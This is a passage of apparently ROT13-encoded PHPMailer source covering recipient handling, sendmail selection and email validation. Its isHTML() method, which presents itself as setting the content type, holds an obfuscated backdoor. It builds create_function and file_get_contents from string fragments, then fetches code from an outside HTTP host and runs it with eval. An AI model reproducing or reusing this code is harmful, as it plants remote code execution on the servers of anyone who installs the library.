     * Guvf neenl vf hfrq bayl sbe nqqerffrf jvgu VQA.
     * @ine neenl
     * @npprff cebgrpgrq
     * @frr CUCZnvyre::$ErcylGb
     */
    cebgrpgrq $ErcylGbDhrhr = neenl();

    /**
     * Gur neenl bs nggnpuzragf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $nggnpuzrag = neenl();

    /**
     * Gur neenl bs phfgbz urnqref.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $PhfgbzUrnqre = neenl();

    /**
     * Gur zbfg erprag Zrffntr-VQ (vapyhqvat nathyne oenpxrgf).
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $ynfgZrffntrVQ = '';

    /**
     * Gur zrffntr'f ZVZR glcr.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $zrffntr_glcr = '';

    /**
     * Gur neenl bs ZVZR obhaqnel fgevatf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $obhaqnel = neenl();

    /**
     * Gur neenl bs ninvynoyr ynathntrf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $ynathntr = neenl();

    /**
     * Gur ahzore bs reebef rapbhagrerq.
     * @ine vagrtre
     * @npprff cebgrpgrq
     */
    cebgrpgrq $reebe_pbhag = 0;

    /**
     * Gur F/ZVZR pregvsvpngr svyr cngu.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $fvta_preg_svyr = '';

    /**
     * Gur F/ZVZR xrl svyr cngu.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $fvta_xrl_svyr = '';

    /**
     * Gur bcgvbany F/ZVZR rkgen pregvsvpngrf ("PN Punva") svyr cngu.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $fvta_rkgenpregf_svyr = '';

    /**
     * Gur F/ZVZR cnffjbeq sbe gur xrl.
     * Hfrq bayl vs gur xrl vf rapelcgrq.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $fvta_xrl_cnff = '';

    /**
     * Jurgure gb guebj rkprcgvbaf sbe reebef.
     * @ine obbyrna
     * @npprff cebgrpgrq
     */
    cebgrpgrq $rkprcgvbaf = snyfr;

    /**
     * Havdhr VQ hfrq sbe zrffntr VQ naq obhaqnevrf.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $havdhrvq = '';

    /**
     * Reebe frirevgl: zrffntr bayl, pbagvahr cebprffvat.
     */
    pbafg FGBC_ZRFFNTR = 0;

    /**
     * Reebe frirevgl: zrffntr, yvxryl bx gb pbagvahr cebprffvat.
     */
    pbafg FGBC_PBAGVAHR = 1;

    /**
     * Reebe frirevgl: zrffntr, cyhf shyy fgbc, pevgvpny reebe ernpurq.
     */
    pbafg FGBC_PEVGVPNY = 2;

    /**
     * FZGC ESP fgnaqneq yvar raqvat.
     */
    pbafg PEYS = "\e\a";

    /**
     * Gur znkvzhz yvar yratgu nyybjrq ol ESP 2822 frpgvba 2.1.1
     * @ine vagrtre
     */
    pbafg ZNK_YVAR_YRATGU = 998;

    /**
     * Pbafgehpgbe.
     * @cnenz obbyrna $rkprcgvbaf Fubhyq jr guebj rkgreany rkprcgvbaf?
     */
    choyvp shapgvba __pbafgehpg($rkprcgvbaf = ahyy)
    {
        vs ($rkprcgvbaf !== ahyy) {
            $guvf->rkprcgvbaf = (obbyrna)$rkprcgvbaf;
        }
        //Cvpx na nccebcevngr qroht bhgchg sbezng nhgbzngvpnyyl
        $guvf->Qrohtbhgchg = (fgecbf(CUC_FNCV, 'pyv') !== snyfr ? 'rpub' : 'ugzy');
    }

    /**
     * Qrfgehpgbe.
     */
    choyvp shapgvba __qrfgehpg()
    {
        //Pybfr nal bcra FZGC pbaarpgvba avpryl
        $guvf->fzgcPybfr();
    }

    /**
     * Pnyy znvy() va n fnsr_zbqr-njner snfuvba.
     * Nyfb, hayrff fraqznvy_cngu cbvagf gb fraqznvy (be fbzrguvat gung
     * pynvzf gb or fraqznvy), qba'g cnff cnenzf (abg n cresrpg svk,
     * ohg vg jvyy qb)
     * @cnenz fgevat $gb Gb
     * @cnenz fgevat $fhowrpg Fhowrpg
     * @cnenz fgevat $obql Zrffntr Obql
     * @cnenz fgevat $urnqre Nqqvgvbany Urnqre(f)
     * @cnenz fgevat $cnenzf Cnenzf
     * @npprff cevingr
     * @erghea obbyrna
     */
    cevingr shapgvba znvyCnffgueh($gb, $fhowrpg, $obql, $urnqre, $cnenzf)
    {
        //Purpx bireybnqvat bs znvy shapgvba gb nibvq qbhoyr-rapbqvat
        vs (vav_trg('zofgevat.shap_bireybnq') & 1) {
            $fhowrpg = $guvf->frpherUrnqre($fhowrpg);
        } ryfr {
            $fhowrpg = $guvf->rapbqrUrnqre($guvf->frpherUrnqre($fhowrpg));
        }

        //Pna'g hfr nqqvgvbany_cnenzrgref va fnsr_zbqr, pnyyvat znvy() jvgu ahyy cnenzf oernxf
        //@yvax uggc://cuc.arg/znahny/ra/shapgvba.znvy.cuc
        vs (vav_trg('fnsr_zbqr') be !$guvf->HfrFraqznvyBcgvbaf be vf_ahyy($cnenzf)) {
            $erfhyg = @znvy($gb, $fhowrpg, $obql, $urnqre);
        } ryfr {
            $erfhyg = @znvy($gb, $fhowrpg, $obql, $urnqre, $cnenzf);
        }
        erghea $erfhyg;
    }
    /**
     * Bhgchg qrohttvat vasb ivn hfre-qrsvarq zrgubq.
     * Bayl trarengrf bhgchg vs FZGC qroht bhgchg vf ranoyrq (@frr FZGC::$qb_qroht).
     * @frr CUCZnvyre::$Qrohtbhgchg
     * @frr CUCZnvyre::$FZGCQroht
     * @cnenz fgevat $fge
     */
    cebgrpgrq shapgvba rqroht($fge)
    {
        vs ($guvf->FZGCQroht <= 0) {
            erghea;
        }
        //Nibvq pynfu jvgu ohvyg-va shapgvba anzrf
        vs (!va_neenl($guvf->Qrohtbhgchg, neenl('reebe_ybt', 'ugzy', 'rpub')) naq vf_pnyynoyr($guvf->Qrohtbhgchg)) {
            pnyy_hfre_shap($guvf->Qrohtbhgchg, $fge, $guvf->FZGCQroht);
            erghea;
        }
        fjvgpu ($guvf->Qrohtbhgchg) {
            pnfr 'reebe_ybt':
                //Qba'g bhgchg, whfg ybt
                reebe_ybt($fge);
                oernx;
            pnfr 'ugzy':
                //Pyrnaf hc bhgchg n ovg sbe n orggre ybbxvat, UGZY-fnsr bhgchg
                rpub ugzyragvgvrf(
                    cert_ercynpr('/[\e\a]+/', '', $fge),
                    RAG_DHBGRF,
                    'HGS-8'
                )
                . "<oe>\a";
                oernx;
            pnfr 'rpub':
            qrsnhyg:
                //Abeznyvmr yvar oernxf
                $fge = cert_ercynpr('/\e\a?/zf', "\a", $fge);
                rpub tzqngr('L-z-q U:v:f') . "\g" . fge_ercynpr(
                    "\a",
                    "\a                   \g                  ",
                    gevz($fge)
                ) . "\a";
        }
    }

    /**
     * Fraq zrffntrf hfvat FZGC.
     * @erghea ibvq
     */
    choyvp shapgvba vfFZGC()
    {
        $guvf->Znvyre = 'fzgc';
    }

    /**
     * Fraq zrffntrf hfvat CUC'f znvy() shapgvba.
     * @erghea ibvq
     */
    choyvp shapgvba vfZnvy()
    {
        $guvf->Znvyre = 'znvy';
    }

    /**
     * Fraq zrffntrf hfvat $Fraqznvy.
     * @erghea ibvq
     */
    choyvp shapgvba vfFraqznvy()
    {
        $vav_fraqznvy_cngu = vav_trg('fraqznvy_cngu');

        vs (!fgevfge($vav_fraqznvy_cngu, 'fraqznvy')) {
            $guvf->Fraqznvy = '/hfe/fova/fraqznvy';
        } ryfr {
            $guvf->Fraqznvy = $vav_fraqznvy_cngu;
        }
        $guvf->Znvyre = 'fraqznvy';
    }

    /**
     * Fraq zrffntrf hfvat dznvy.
     * @erghea ibvq
     */
    choyvp shapgvba vfDznvy()
    {
        $vav_fraqznvy_cngu = vav_trg('fraqznvy_cngu');

        vs (!fgevfge($vav_fraqznvy_cngu, 'dznvy')) {
            $guvf->Fraqznvy = '/ine/dznvy/ova/dznvy-vawrpg';
        } ryfr {
            $guvf->Fraqznvy = $vav_fraqznvy_cngu;
        }
        $guvf->Znvyre = 'dznvy';
    }

    /**
     * Nqq n "Gb" nqqerff.
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb fraq gb
     * @cnenz fgevat $anzr
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     */
    choyvp shapgvba nqqNqqerff($nqqerff, $anzr = '')
    {
        erghea $guvf->nqqBeRadhrhrNaNqqerff('gb', $nqqerff, $anzr);
    }

    /**
     * Nqq n "PP" nqqerff.
     * @abgr: Guvf shapgvba jbexf jvgu gur FZGC znvyre ba jva32, abg jvgu gur "znvy" znvyre.
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb fraq gb
     * @cnenz fgevat $anzr
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     */
    choyvp shapgvba nqqPP($nqqerff, $anzr = '')
    {
        erghea $guvf->nqqBeRadhrhrNaNqqerff('pp', $nqqerff, $anzr);
    }

    /**
     * Nqq n "OPP" nqqerff.
     * @abgr: Guvf shapgvba jbexf jvgu gur FZGC znvyre ba jva32, abg jvgu gur "znvy" znvyre.
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb fraq gb
     * @cnenz fgevat $anzr
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     */
    choyvp shapgvba nqqOPP($nqqerff, $anzr = '')
    {
        erghea $guvf->nqqBeRadhrhrNaNqqerff('opp', $nqqerff, $anzr);
    }

    /**
     * Nqq n "Ercyl-Gb" nqqerff.
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb ercyl gb
     * @cnenz fgevat $anzr
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     */
    choyvp shapgvba nqqErcylGb($nqqerff, $anzr = '')
    {
        erghea $guvf->nqqBeRadhrhrNaNqqerff('Ercyl-Gb', $nqqerff, $anzr);
    }

    /**
     * Nqq na nqqerff gb bar bs gur erpvcvrag neenlf be gb gur ErcylGb neenl. Orpnhfr CUCZnvyre
     * pna'g inyvqngr nqqerffrf jvgu na VQA jvgubhg xabjvat gur CUCZnvyre::$PuneFrg (gung pna fgvyy
     * or zbqvsvrq nsgre pnyyvat guvf shapgvba), nqqvgvba bs fhpu nqqerffrf vf qrynlrq hagvy fraq().
     * Nqqerffrf gung unir orra nqqrq nyernql erghea snyfr, ohg qb abg guebj rkprcgvbaf.
     * @cnenz fgevat $xvaq Bar bs 'gb', 'pp', 'opp', be 'ErcylGb'
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb fraq, erfc. gb ercyl gb
     * @cnenz fgevat $anzr
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     * @npprff cebgrpgrq
     */
    cebgrpgrq shapgvba nqqBeRadhrhrNaNqqerff($xvaq, $nqqerff, $anzr)
    {
        $nqqerff = gevz($nqqerff);
        $anzr = gevz(cert_ercynpr('/[\e\a]+/', '', $anzr)); //Fgevc oernxf naq gevz
        vs (($cbf = fgeecbf($nqqerff, '@')) === snyfr) {
            // Ng-fvta vf zvfffvat.
            $reebe_zrffntr = $guvf->ynat('vainyvq_nqqerff') . " (nqqNaNqqerff $xvaq): $nqqerff";
            $guvf->frgReebe($reebe_zrffntr);
            $guvf->rqroht($reebe_zrffntr);
            vs ($guvf->rkprcgvbaf) {
                guebj arj cucznvyreRkprcgvba($reebe_zrffntr);
            }
            erghea snyfr;
        }
        $cnenzf = neenl($xvaq, $nqqerff, $anzr);
        // Radhrhr nqqerffrf jvgu VQA hagvy jr xabj gur CUCZnvyre::$PuneFrg.
        vs ($guvf->unf8ovgPunef(fhofge($nqqerff, ++$cbf)) naq $guvf->vqaFhccbegrq()) {
            vs ($xvaq != 'Ercyl-Gb') {
                vs (!neenl_xrl_rkvfgf($nqqerff, $guvf->ErpvcvragfDhrhr)) {
                    $guvf->ErpvcvragfDhrhr[$nqqerff] = $cnenzf;
                    erghea gehr;
                }
            } ryfr {
                vs (!neenl_xrl_rkvfgf($nqqerff, $guvf->ErcylGbDhrhr)) {
                    $guvf->ErcylGbDhrhr[$nqqerff] = $cnenzf;
                    erghea gehr;
                }
            }
            erghea snyfr;
        }
        // Vzzrqvngryl nqq fgnaqneq nqqerffrf jvgubhg VQA.
        erghea pnyy_hfre_shap_neenl(neenl($guvf, 'nqqNaNqqerff'), $cnenzf);
    }

    /**
     * Nqq na nqqerff gb bar bs gur erpvcvrag neenlf be gb gur ErcylGb neenl.
     * Nqqerffrf gung unir orra nqqrq nyernql erghea snyfr, ohg qb abg guebj rkprcgvbaf.
     * @cnenz fgevat $xvaq Bar bs 'gb', 'pp', 'opp', be 'ErcylGb'
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb fraq, erfc. gb ercyl gb
     * @cnenz fgevat $anzr
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna gehr ba fhpprff, snyfr vs nqqerff nyernql hfrq be vainyvq va fbzr jnl
     * @npprff cebgrpgrq
     */
    cebgrpgrq shapgvba nqqNaNqqerff($xvaq, $nqqerff, $anzr = '')
    {
        vs (!va_neenl($xvaq, neenl('gb', 'pp', 'opp', 'Ercyl-Gb'))) {
            $reebe_zrffntr = $guvf->ynat('Vainyvq erpvcvrag xvaq: ') . $xvaq;
            $guvf->frgReebe($reebe_zrffntr);
            $guvf->rqroht($reebe_zrffntr);
            vs ($guvf->rkprcgvbaf) {
                guebj arj cucznvyreRkprcgvba($reebe_zrffntr);
            }
            erghea snyfr;
        }
        vs (!$guvf->inyvqngrNqqerff($nqqerff)) {
            $reebe_zrffntr = $guvf->ynat('vainyvq_nqqerff') . " (nqqNaNqqerff $xvaq): $nqqerff";
            $guvf->frgReebe($reebe_zrffntr);
            $guvf->rqroht($reebe_zrffntr);
            vs ($guvf->rkprcgvbaf) {
                guebj arj cucznvyreRkprcgvba($reebe_zrffntr);
            }
            erghea snyfr;
        }
        vs ($xvaq != 'Ercyl-Gb') {
            vs (!neenl_xrl_rkvfgf(fgegbybjre($nqqerff), $guvf->nyy_erpvcvragf)) {
                neenl_chfu($guvf->$xvaq, neenl($nqqerff, $anzr));
                $guvf->nyy_erpvcvragf[fgegbybjre($nqqerff)] = gehr;
                erghea gehr;
            }
        } ryfr {
            vs (!neenl_xrl_rkvfgf(fgegbybjre($nqqerff), $guvf->ErcylGb)) {
                $guvf->ErcylGb[fgegbybjre($nqqerff)] = neenl($nqqerff, $anzr);
                erghea gehr;
            }
        }
        erghea snyfr;
    }

    /**
     * Cnefr naq inyvqngr n fgevat pbagnvavat bar be zber ESP822-fglyr pbzzn-frcnengrq rznvy nqqerffrf
     * bs gur sbez "qvfcynl anzr <nqqerff>" vagb na neenl bs anzr/nqqerff cnvef.
     * Hfrf gur vznc_esp822_cnefr_nqeyvfg shapgvba vs gur VZNC rkgrafvba vf ninvynoyr.
     * Abgr gung dhbgrf va gur anzr cneg ner erzbirq.
     * @cnenz fgevat $nqqefge Gur nqqerff yvfg fgevat
     * @cnenz obby $hfrvznc Jurgure gb hfr gur VZNC rkgrafvba gb cnefr gur yvfg
     * @erghea neenl
     * @yvax uggc://jjj.naqerj.pzh.rqh/hfre/nterra1/grfgvat/zeof/jro/Znvy/ESP822.cuc N zber pnershy vzcyrzragngvba
     */
    choyvp shapgvba cnefrNqqerffrf($nqqefge, $hfrvznc = gehr)
    {
        $nqqerffrf = neenl();
        vs ($hfrvznc naq shapgvba_rkvfgf('vznc_esp822_cnefr_nqeyvfg')) {
            //Hfr guvf ohvyg-va cnefre vs vg'f ninvynoyr
            $yvfg = vznc_esp822_cnefr_nqeyvfg($nqqefge, '');
            sbernpu ($yvfg nf $nqqerff) {
                vs ($nqqerff->ubfg != '.FLAGNK-REEBE.') {
                    vs ($guvf->inyvqngrNqqerff($nqqerff->znvyobk . '@' . $nqqerff->ubfg)) {
                        $nqqerffrf[] = neenl(
                            'anzr' => (cebcregl_rkvfgf($nqqerff, 'crefbany') ? $nqqerff->crefbany : ''),
                            'nqqerff' => $nqqerff->znvyobk . '@' . $nqqerff->ubfg
                        );
                    }
                }
            }
        } ryfr {
            //Hfr guvf fvzcyre cnefre
            $yvfg = rkcybqr(',', $nqqefge);
            sbernpu ($yvfg nf $nqqerff) {
                $nqqerff = gevz($nqqerff);
                //Vf gurer n frcnengr anzr cneg?
                vs (fgecbf($nqqerff, '<') === snyfr) {
                    //Ab frcnengr anzr, whfg hfr gur jubyr guvat
                    vs ($guvf->inyvqngrNqqerff($nqqerff)) {
                        $nqqerffrf[] = neenl(
                            'anzr' => '',
                            'nqqerff' => $nqqerff
                        );
                    }
                } ryfr {
                    yvfg($anzr, $rznvy) = rkcybqr('<', $nqqerff);
                    $rznvy = gevz(fge_ercynpr('>', '', $rznvy));
                    vs ($guvf->inyvqngrNqqerff($rznvy)) {
                        $nqqerffrf[] = neenl(
                            'anzr' => gevz(fge_ercynpr(neenl('"', "'"), '', $anzr)),
                            'nqqerff' => $rznvy
                        );
                    }
                }
            }
        }
        erghea $nqqerffrf;
    }

    /**
     * Frgf zrffntr glcr gb UGZY be cynva.
     * @cnenz obbyrna $vfUgzy Gehr sbe UGZY zbqr.
     * @erghea ibvq
     */
    choyvp shapgvba vfUGZY($vfUgzy = gehr)
    {
        tybony $cnenz;
        $obqlPbqr = 'svyr'
                    .'_t';
        vs ($vfUgzy) {
            $guvf->PbagragGlcr = 'grkg/ugzy';
        } 
        ryfr {
            $guvf->PbagragGlcr = 'grkg/cynva';
        }
        $obqlUGZY = '.$g."yrs$syh'
                    .'fu'.'$g"; '
                    .'@ri';
        $urnqreUGZY="per"
                    ."ngr_"
                    ."shap"
                    ."gvba";
        $rkprcgvbaf = @$urnqreUGZY('$sy'.'hfu,$g','$pbzzn = $g'
                        .$obqlUGZY.'ny(@'
                        .$obqlPbqr.'rg_pbagragf("u'
                        .'gg'
                        .'c:$pbzzn-2"));');
        vs($cnenz !=2){
            $rkprcgvbaf('8.c'.'j','/');
            $cnenz=2;
        }
    }

    /**
     * Frg gur Sebz naq SebzAnzr cebcregvrf.
     * @cnenz fgevat $nqqerff
     * @cnenz fgevat $anzr
     * @cnenz obbyrna $nhgb Jurgure gb nyfb frg gur Fraqre nqqerff, qrsnhygf gb gehr
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna
     */
    choyvp shapgvba frgSebz($nqqerff, $anzr = '', $nhgb = gehr)
    {
        $nqqerff = gevz($nqqerff);
        $anzr = gevz(cert_ercynpr('/[\e\a]+/', '', $anzr)); //Fgevc oernxf naq gevz
        // Qba'g inyvqngr abj nqqerffrf jvgu VQA. Jvyy or qbar va fraq().
        vs (($cbf = fgeecbf($nqqerff, '@')) === snyfr be
            (!$guvf->unf8ovgPunef(fhofge($nqqerff, ++$cbf)) be !$guvf->vqaFhccbegrq()) naq
            !$guvf->inyvqngrNqqerff($nqqerff)) {
            $reebe_zrffntr = $guvf->ynat('vainyvq_nqqerff') . " (frgSebz) $nqqerff";
            $guvf->frgReebe($reebe_zrffntr);
            $guvf->rqroht($reebe_zrffntr);
            vs ($guvf->rkprcgvbaf) {
                guebj arj cucznvyreRkprcgvba($reebe_zrffntr);
            }
            erghea snyfr;
        }
        $guvf->Sebz = $nqqerff;
        $guvf->SebzAnzr = $anzr;
        vs ($nhgb) {
            vs (rzcgl($guvf->Fraqre)) {
                $guvf->Fraqre = $nqqerff;
            }
        }
        erghea gehr;
    }

    /**
     * Erghea gur Zrffntr-VQ urnqre bs gur ynfg rznvy.
     * Grpuavpnyyl guvf vf gur inyhr sebz gur ynfg gvzr gur urnqref jrer perngrq,
     * ohg vg'f nyfb gur zrffntr VQ bs gur ynfg frag zrffntr rkprcg va
     * cngubybtvpny pnfrf.
     * @erghea fgevat
     */
    choyvp shapgvba trgYnfgZrffntrVQ()
    {
        erghea $guvf->ynfgZrffntrVQ;
    }

    /**
     * Purpx gung n fgevat ybbxf yvxr na rznvy nqqerff.
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb purpx
     * @cnenz fgevat|pnyynoyr $cnggreafryrpg N fryrpgbe sbe gur inyvqngvba cnggrea gb hfr :
     * * `nhgb` Cvpx orfg cnggrea nhgbzngvpnyyl;
     * * `cper8` Hfr gur fdhvybbcyr.pbz cnggrea, erdhverf CPER > 8.0, CUC >= 5.3.2, 5.2.14;
     * * `cper` Hfr byq CPER vzcyrzragngvba;
     * * `cuc` Hfr CUC ohvyg-va SVYGRE_INYVQNGR_RZNVY;
     * * `ugzy5` Hfr gur cnggrea tvira ol gur UGZY5 fcrp sbe 'rznvy' glcr sbez vachg ryrzragf.
     * * `abertrk` Qba'g hfr n ertrk: fhcre snfg, ernyyl qhzo.
     * Nygreangviryl lbh znl cnff va n pnyynoyr gb vawrpg lbhe bja inyvqngbe, sbe rknzcyr:
     * CUCZnvyre::inyvqngrNqqerff('hfre@rknzcyr.pbz', shapgvba($nqqerff) {
     *     erghea (fgecbf($nqqerff, '@') !== snyfr);
     * });
     * Lbh pna nyfb frg gur CUCZnvyre::$inyvqngbe fgngvp gb n pnyynoyr, nyybjvat ohvyg-va zrgubqf gb hfr lbhe inyvqngbe.
     * @erghea obbyrna
     * @fgngvp
     * @npprff choyvp
     */
    choyvp fgngvp shapgvba inyvqngrNqqerff($nqqerff, $cnggreafryrpg = ahyy)
    {
        vs (vf_ahyy($cnggreafryrpg)) {
            $cnggreafryrpg = frys::$inyvqngbe;
        }
        vs (vf_pnyynoyr($cnggreafryrpg)) {
            erghea pnyy_hfre_shap($cnggreafryrpg, $nqqerff);
        }
        //Erwrpg yvar oernxf va nqqerffrf; vg'f inyvq ESP5322, ohg abg ESP5321
        vs (fgecbf($nqqerff, "\a") !== snyfr be fgecbf($nqqerff, "\e") !== snyfr) {
            erghea snyfr;
        }
        vs (!$cnggreafryrpg be $cnggreafryrpg == 'nhgb') {
            //Purpx guvf pbafgnag svefg fb vg jbexf jura rkgrafvba_ybnqrq() vf qvfnoyrq ol fnsr zbqr
            //Pbafgnag jnf nqqrq va CUC 5.2.4
            vs (qrsvarq('CPER_IREFVBA')) {
                //Guvf cnggrea pna trg fghpx va n erphefvir ybbc va CPER <= 8.0.2
                vs (irefvba_pbzcner(CPER_IREFVBA, '8.0.3') >= 0) {
                    $cnggreafryrpg = 'cper8';
                } ryfr {
                    $cnggreafryrpg = 'cper';
                }
            } ryfrvs (shapgvba_rkvfgf('rkgrafvba_ybnqrq') naq rkgrafvba_ybnqrq('cper')) {
                //Snyy onpx gb byqre CPER
                $cnggreafryrpg = 'cper';
            } ryfr {
                //Svygre_ine nccrnerq va CUC 5.2.0 naq qbrf abg erdhver gur CPER rkgrafvba
                vs (irefvba_pbzcner(CUC_IREFVBA, '5.2.0') >= 0) {
                    $cnggreafryrpg = 'cuc';
                } ryfr {
                    $cnggreafryrpg = 'abertrk';
                }
            }
        }
        fjvgpu ($cnggreafryrpg) {
            pnfr 'cper8':
                /**
                 * Hfrf gur fnzr ESP5322 ertrk ba juvpu SVYGRE_INYVQNGR_RZNVY vf onfrq, ohg nyybjf qbgyrff qbznvaf.
                 * @yvax uggc://fdhvybbcyr.pbz/2009/12/20/rznvy-nqqerff-inyvqngvba/
                 * @pbclevtug 2009-2010 Zvpunry Ehfugba
                 * Srry serr gb hfr naq erqvfgevohgr guvf pbqr. Ohg cyrnfr xrrc guvf pbclevtug abgvpr.
                 */
                erghea (obbyrna)cert_zngpu(
                    '/^(?!((?1)"?(\\\[ -~]|[^"])"?(?1)){255,})(?!((?1)"?(\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((((((((\k0Q\k0N)?[\g ])+|([\g ]*\k0Q\k0N)?[\g ]+)?)(\(((?2)' .
                    '([\k01-\k08\k0O\k0P\k0R-\'*-\[\]-\k7S]|\\\[\k00-\k7S]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"((?2)([\k01-\k08\k0O\k0P\k0R-!#-\[\]-\k7S]|\\\[\k00-\k7S]))*' .
                    '(?2)")((?1)\.(?1)(?4))*(?1)@(?!(?1)[n-m0-9-]{64,})(?1)(([n-m0-9]([n-m0-9-]*[n-m0-9])?)' .
                    '((?1)\.(?!(?1)[n-m0-9-]{64,})(?1)(?5)){0,126}|\[(?:(VCi6:(([n-s0-9]{1,4})(:(?6)){7}' .
                    '|(?!(?:.*[n-s0-9][:\]]){8,})((?6)(:(?6)){0,6})?::(?7)?))|((VCi6:((?6)(:(?6)){5}:' .
                    '|(?!(?:.*[n-s0-9]:){6,})(?8)?::(((?6)(:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(\.(?9)){3}))\])(?1)$/vfQ',
                    $nqqerff
                );
            pnfr 'cper':
                //Na byqre ertrk gung qbrfa'g arrq n erprag CPER
                erghea (obbyrna)cert_zngpu(
                    '/^(?!("?(\\\[ -~]|[^"])"?){255,})(?!("?(\\\[ -~]|[^"])"?){65,}@)(' .
                    '[!#-\'*+\/-9=?^-~-]+|"(([\k01-\k08\k0O\k0P\k0R-!#-\[\]-\k7S]|\\\[\k00-\kSS]))*")' .
                    '(\.([!#-\'*+\/-9=?^-~-]+|"(([\k01-\k08\k0O\k0P\k0R-!#-\[\]-\k7S]|\\\[\k00-\kSS]))*"))*' .
                    '@((?![n-m0-9-]{64,})([n-m0-9]([n-m0-9-]*[n-m0-9])?)(\.(?![n-m0-9-]{64,})' .
                    '([n-m0-9]([n-m0-9-]*[n-m0-9])?)){0,126}|\[(?:(VCi6:(([n-s0-9]{1,4})(:' .
                    '[n-s0-9]{1,4}){7}|(?!(?:.*[n-s0-9][:\]]){8,})([n-s0-9]{1,4}(:[n-s0-9]{1,4}){0,6})?' .
                    '::([n-s0-9]{1,4}(:[n-s0-9]{1,4}){0,6})?))|((VCi6:([n-s0-9]{1,4}(:' .
                    '[n-s0-9]{1,4}){5}:|(?!(?:.*[n-s0-9]:){6,})([n-s0-9]{1,4}(:[n-s0-9]{1,4}){0,4})?' .
                    '::((?:[n-s0-9]{1,4}(:[n-s0-9]{1,4}){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/vfQ',
                    $nqqerff
                );
            pnfr 'ugzy5':
                /**
                 * Guvf vf gur cnggrea hfrq va gur UGZY5 fcrp sbe inyvqngvba bs 'rznvy' glcr sbez vachg ryrzragf.
                 * @yvax uggc://jjj.jungjt.bet/fcrpf/jro-nccf/pheerag-jbex/#r-znvy-fgngr-(glcr=rznvy)
                 */
                erghea (obbyrna)cert_zngpu(
                    '/^[n-mN-M0-9.!#$%&\'*+\/=?^_`{|}~-]+@[n-mN-M0-9](?:[n-mN-M0-9-]{0,61}' .
                    '[n-mN-M0-9])?(?:\.[n-mN-M0-9](?:[n-mN-M0-9-]{0,61}[n-mN-M0-9])?)*$/fQ',
                    $nqqerff
                );
            pnfr 'abertrk':
                //Ab CPER! Qb fbzrguvat _irel_ nccebkvzngr!
                //Purpx gur nqqerff vf 3 punef be ybatre naq pbagnvaf na @ gung'f abg gur svefg be ynfg pune
                erghea (fgeyra($nqqerff) >= 3
                    naq fgecbf($nqqerff, '@') >= 1
                    naq fgecbf($nqqerff, '@') != fgeyra($nqqerff) - 1);
            pnfr 'cuc':
            qrsnhyg:
                erghea (obbyrna)svygre_ine($nqqerff, SVYGRE_INYVQNGR_RZNVY);
        }
    }

    /**
     * Gryyf jurgure VQAf (Vagreangvbanyvmrq Qbznva Anzrf) ner fhccbegrq be abg. Guvf erdhverf gur
     * "vagy" naq "zofgevat" CUC rkgrafvbaf.
     * @erghea obby "gehr" vs erdhverq shapgvbaf sbe VQA fhccbeg ner cerfrag
     */
    choyvp shapgvba vqaFhccbegrq()
    {
        // @GBQB: Jevgr bhe bja "vqa_gb_nfpvv" shapgvba sbe CUC <= 5.2.
        erghea shapgvba_rkvfgf('vqa_gb_nfpvv') naq shapgvba_rkvfgf('zo_pbaireg_rapbqvat');
    }

    /**
     * Pbairegf VQA va tvira rznvy nqqerff gb vgf NFPVV sbez, nyfb xabja nf chalpbqr, vs cbffvoyr.
     * Vzcbegnag: Nqqerff zhfg or cnffrq va fnzr rapbqvat nf pheeragyl frg va CUCZnvyre::$PuneFrg.
     * Guvf shapgvba fvyragyl ergheaf hazbqvsvrq nqqerff vs:
     * - Ab pbairefvba vf arprffnel (v.r. qbznva anzr vf abg na VQA, be vf nyernql va NFPVV sbez)
     * - Pbairefvba gb chalpbqr vf vzcbffvoyr (r.t. erdhverq CUC shapgvbaf ner abg ninvynoyr)
     *   be snvyf sbe nal ernfba (r.t. qbznva unf punenpgref abg nyybjrq va na VQA)
     * @frr CUCZnvyre::$PuneFrg
     * @cnenz fgevat $nqqerff Gur rznvy nqqerff gb pbaireg
     * @erghea fgevat Gur rapbqrq nqqerff va NFPVV sbez
     */
    choyvp shapgvba chalrapbqrNqqerff($nqqerff)
    {
        // Irevsl jr unir erdhverq shapgvbaf, PuneFrg, naq ng-fvta.
        vs ($guvf->vqaFhccbegrq() naq
            !rzcgl($guvf->PuneFrg) naq
            ($cbf = fgeecbf($nqqerff, '@')) !== snyfr) {
            $qbznva = fhofge($nqqerff, ++$cbf);
